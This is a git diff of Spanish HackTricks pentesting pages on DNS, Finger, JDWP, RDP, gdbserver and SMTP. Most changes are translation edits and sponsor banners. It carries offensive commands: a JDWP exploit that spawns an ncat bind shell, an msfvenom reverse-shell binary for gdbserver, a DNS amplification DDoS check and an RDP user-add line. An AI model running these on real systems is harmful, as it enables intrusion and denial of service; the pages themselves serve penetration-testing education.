Si puedes encontrar subdominios que resuelven a direcciones IP internas, deberías intentar realizar un BF de dns inverso a los NS del dominio pidiendo ese rango de IP.
{% endhint %}
Otra herramienta para hacerlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
@ -157,7 +157,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
```
### DNS Recursion DDoS
Si **la recursión DNS está habilitada**, un atacante podría **suplantar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registros **ANY** o **DNSSEC** ya que suelen tener las respuestas más grandes.\
Si **la recursión DNS está habilitada**, un atacante podría **suplantar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registro **ANY** o **DNSSEC** ya que suelen tener las respuestas más grandes.\
La forma de **verificar** si un DNS soporta **recursión** es consultar un nombre de dominio y **comprobar** si la **bandera "ra"** (_recursión disponible_) está en la respuesta:
```bash
dig google.com A @<IP>
@ -172,7 +172,7 @@ dig google.com A @<IP>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -180,7 +180,7 @@ dig google.com A @<IP>
### Correo a cuenta inexistente
A través del examen de una notificación de no entrega (NDN) provocada por un correo electrónico enviado a una dirección inválida dentro de un dominio objetivo, a menudo se divulgan valiosos detalles internos de la red.
A través del examen de una notificación de no entrega (NDN) provocada por un correo electrónico enviado a una dirección inválida dentro de un dominio objetivo, a menudo se divulgan valiosos detalles de la red interna.
El informe de no entrega proporcionado incluye información como:
@ -227,7 +227,7 @@ Peligrosos ajustes al configurar un servidor Bind:
| `allow-query` | Define qué hosts tienen permitido enviar solicitudes al servidor DNS. |
| `allow-recursion` | Define qué hosts tienen permitido enviar solicitudes recursivas al servidor DNS. |
| `allow-transfer` | Define qué hosts tienen permitido recibir transferencias de zona del servidor DNS. |
| `zone-statistics` | Recopila datos estadísticos de las zonas. |
| `zone-statistics` | Recopila datos estadísticos de zonas. |
## Referencias
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## **Información Básica**
El programa/servicio **Finger** se utiliza para recuperar detalles sobre los usuarios de computadoras. Típicamente, la información proporcionada incluye el **nombre de inicio de sesión del usuario, nombre completo**, y, en algunos casos, detalles adicionales. Estos detalles adicionales podrían incluir la ubicación de la oficina y el número de teléfono (si está disponible), la hora en que el usuario inició sesión, el período de inactividad (tiempo de inactividad), la última vez que el usuario leyó el correo y el contenido de los archivos de plan y proyecto del usuario.
El programa/servicio **Finger** se utiliza para recuperar detalles sobre los usuarios de computadoras. Típicamente, la información proporcionada incluye el **nombre de inicio de sesión del usuario, nombre completo**, y, en algunos casos, detalles adicionales. Estos detalles adicionales podrían incluir la ubicación de la oficina y el número de teléfono (si está disponible), la hora en que el usuario inició sesión, el período de inactividad (tiempo de inactividad), la última vez que el correo fue leído por el usuario, y el contenido de los archivos de plan y proyecto del usuario.
**Puerto por defecto:** 79
```
@ -75,7 +75,7 @@ finger @internal@external
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -1,21 +1,21 @@
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
<summary>Support HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -48,23 +48,23 @@ Para más información detallada, consulta la publicación: [http://www.ouah.org
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoya a HackTricks</summary>
<summary>Support HackTricks</summary>
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
La explotación de JDWP se basa en la **falta de autenticación y cifrado del protocolo**. Generalmente se encuentra en **el puerto 8000**, pero otros puertos son posibles. La conexión inicial se realiza enviando un "JDWP-Handshake" al puerto objetivo. Si un servicio JDWP está activo, responde con la misma cadena, confirmando su presencia. Este apretón de manos actúa como un método de huellas dactilares para identificar servicios JDWP en la red.
En términos de identificación de procesos, buscar la cadena "jdwk" en los procesos de Java puede indicar una sesión JDWP activa.
En términos de identificación de procesos, buscar la cadena "jdwk" en procesos de Java puede indicar una sesión JDWP activa.
La herramienta principal es [jdwp-shellifier](https://github.com/hugsy/jdwp-shellifier). Puedes usarla con diferentes parámetros:
```bash
@ -35,37 +35,35 @@ La herramienta principal es [jdwp-shellifier](https://github.com/hugsy/jdwp-shel
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
```
I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit more **estable**. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.
Encontré que el uso de `--break-on 'java.lang.String.indexOf'` hace que el exploit sea más **estable**. Y si tienes la oportunidad de subir un backdoor al host y ejecutarlo en lugar de ejecutar un comando, el exploit será aún más estable.
## More details
## Más detalles
**This is a summary of [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Check it for further details.
**Este es un resumen de [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Revísalo para más detalles.
1. **JDWP Overview**:
- It's a packet-based network binary protocol, primarily synchronous.
1. **Descripción general de JDWP**:
- Es un protocolo binario de red basado en paquetes, principalmente sincrónico.
- Carece de autenticación y cifrado, lo que lo hace vulnerable cuando se expone a redes hostiles.
2. **JDWP Handshake**:
- A simple handshake process is used to initiate communication. A 14-character ASCII string “JDWP-Handshake” is exchanged between the Debugger (client) and the Debuggee (server).
2. **Handshake de JDWP**:
- Se utiliza un proceso de handshake simple para iniciar la comunicación. Se intercambia una cadena ASCII de 14 caracteres “JDWP-Handshake” entre el Depurador (cliente) y el Depurado (servidor).
3. **JDWP Communication**:
- Messages have a simple structure with fields like Length, Id, Flag, and CommandSet.
- Los valores de CommandSet varían de 0x40 a 0x80, representando diferentes acciones y eventos.
3. **Comunicación JDWP**:
- Los mensajes tienen una estructura simple con campos como Longitud, Id, Bandera y Conjunto de Comandos.
- Los valores del Conjunto de Comandos varían de 0x40 a 0x80, representando diferentes acciones y eventos.
4. **Exploitation**:
- JDWP allows loading and invoking arbitrary classes and bytecode, posing security risks.
- The article details an exploitation process in five steps, involving fetching Java Runtime references, setting breakpoints, and invoking methods.
4. **Explotación**:
- JDWP permite cargar e invocar clases y bytecode arbitrarios, lo que plantea riesgos de seguridad.
- El artículo detalla un proceso de explotación en cinco pasos, que involucra obtener referencias de Java Runtime, establecer puntos de interrupción e invocar métodos.
5. **Real-Life Exploitation**:
- Despite potential firewall protections, JDWP services are discoverable and exploitable in real-world scenarios, as demonstrated by searches on platforms like ShodanHQ and GitHub.
- The exploit script was tested against various JDK versions and is platform-independent, offering reliable Remote Code Execution (RCE).
5. **Explotación en la vida real**:
- A pesar de las posibles protecciones de firewall, los servicios JDWP son descubribles y explotables en escenarios del mundo real, como lo demuestran las búsquedas en plataformas como ShodanHQ y GitHub.
- El script de exploit fue probado contra varias versiones de JDK y es independiente de la plataforma, ofreciendo una ejecución remota de código (RCE) confiable.
6. **Security Implications**:
- The presence of open JDWP services on the internet underscores the need for regular security reviews, disabling debug functionalities in production, and proper firewall configurations.
6. **Implicaciones de seguridad**:
- La presencia de servicios JDWP abiertos en internet subraya la necesidad de revisiones de seguridad regulares, deshabilitar funcionalidades de depuración en producción y configuraciones adecuadas de firewall.
### **References:**
### **Referencias:**
* [[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)]
* [https://github.com/IOActive/jdwp-shellifier](https://github.com/IOActive/jdwp-shellifier)
@ -82,23 +80,23 @@ I found that the use of `--break-on 'java.lang.String.indexOf'` make the exploit
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en los negocios.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Apoya a HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -45,7 +45,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Información Básica
Desarrollado por Microsoft, el **Protocolo de Escritorio Remoto** (**RDP**) está diseñado para habilitar una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer tal conexión, el usuario utiliza software cliente de **RDP**, y simultáneamente, se requiere que la computadora remota opere software servidor de **RDP**. Esta configuración permite el control y acceso sin problemas al entorno de escritorio de una computadora distante, esencialmente llevando su interfaz al dispositivo local del usuario.
Desarrollado por Microsoft, el **Remote Desktop Protocol** (**RDP**) está diseñado para habilitar una conexión de interfaz gráfica entre computadoras a través de una red. Para establecer dicha conexión, el usuario utiliza un software cliente de **RDP**, y simultáneamente, se requiere que la computadora remota opere un software servidor de **RDP**. Esta configuración permite el control y acceso sin problemas al entorno de escritorio de una computadora distante, esencialmente llevando su interfaz al dispositivo local del usuario.
**Puerto por defecto:** 3389
```
@ -72,7 +72,7 @@ rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -132,9 +132,9 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
* Controlar el mouse y el teclado de manera automatizada desde la línea de comandos
* Controlar el portapapeles de manera automatizada desde la línea de comandos
* Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red al objetivo a través de RDP
* Generar un proxy SOCKS desde el cliente que canaliza la comunicación de red hacia el objetivo a través de RDP
* Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
* Subir y descargar archivos al/del objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
* Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
## Comandos Automáticos de HackTricks
```
@ -157,7 +157,7 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -27,13 +27,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
**gdbserver** es una herramienta que permite la depuración de programas de forma remota. Se ejecuta junto al programa que necesita depuración en el mismo sistema, conocido como el "objetivo." Esta configuración permite que el **GNU Debugger** se conecte desde una máquina diferente, el "host," donde se almacenan el código fuente y una copia binaria del programa depurado. La conexión entre **gdbserver** y el depurador se puede realizar a través de TCP o una línea serial, lo que permite configuraciones de depuración versátiles.
Puedes hacer que **gdbserver escuche en cualquier puerto** y en este momento **nmap no es capaz de reconocer el servicio**.
Puedes hacer que un **gdbserver escuche en cualquier puerto** y en este momento **nmap no es capaz de reconocer el servicio**.
## Explotación
### Subir y Ejecutar
Puedes crear fácilmente un **backdoor elf con msfvenom**, subirlo y ejecutarlo:
Puedes crear fácilmente un **elf backdoor con msfvenom**, subirlo y ejecutarlo:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
@ -200,7 +200,7 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
El **Protocolo Simple de Transferencia de Correo (SMTP)** es un protocolo utilizado dentro de la suite TCP/IP para el **envío y recepción de correos electrónicos**. Debido a sus limitaciones para encolar mensajes en el extremo del destinatario, SMTP se emplea a menudo junto con **POP3 o IMAP**. Estos protocolos adicionales permiten a los usuarios almacenar mensajes en un buzón de servidor y descargarlos periódicamente.
En la práctica, es común que los **programas de correo electrónico** utilicen **SMTP para enviar correos electrónicos**, mientras que utilizan **POP3 o IMAP para recibirlos**. En sistemas basados en Unix, **sendmail** se destaca como el servidor SMTP más utilizado para fines de correo electrónico. El paquete comercial conocido como Sendmail incluye un servidor POP3. Además, **Microsoft Exchange** proporciona un servidor SMTP y ofrece la opción de incluir soporte para POP3.
En la práctica, es común que los **programas de correo electrónico** utilicen **SMTP para enviar correos electrónicos**, mientras que utilizan **POP3 o IMAP para recibirlos**. En sistemas basados en Unix, **sendmail** se destaca como el servidor SMTP más utilizado para fines de correo electrónico. El paquete comercial conocido como Sendmail abarca un servidor POP3. Además, **Microsoft Exchange** proporciona un servidor SMTP y ofrece la opción de incluir soporte para POP3.
**Puerto por defecto:** 25,465(ssl),587(ssl)
```
@ -171,7 +171,7 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube
**Obtén la perspectiva de un hacker sobre tus aplicaciones web, red y nube**
**Encuentra e informa sobre vulnerabilidades críticas y explotables con un impacto real en el negocio.** Utiliza nuestras más de 20 herramientas personalizadas para mapear la superficie de ataque, encontrar problemas de seguridad que te permitan escalar privilegios y usar exploits automatizados para recopilar evidencia esencial, convirtiendo tu arduo trabajo en informes persuasivos.
@ -263,7 +263,7 @@ Una **guía completa sobre estas contramedidas** está disponible en [https://se
### SPF
{% hint style="danger" %}
SPF [fue "deprecado" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un **registro TXT** en `_spf.domain.com`, lo creas en `domain.com` utilizando la **misma sintaxis**.\
SPF [fue "deprecado" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un **registro TXT** en `_spf.domain.com`, lo creas en `domain.com` usando la **misma sintaxis**.\
Además, para reutilizar registros SPF anteriores, es bastante común encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
@ -275,18 +275,18 @@ De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Mecanismo | Descripción |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Coincide siempre; se utiliza para un resultado predeterminado como `-all` para todas las IPs no coincidentes con mecanismos anteriores. |
| A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que puede resolverse a la dirección del remitente, coincidirá. |
| IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. |
| IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. |
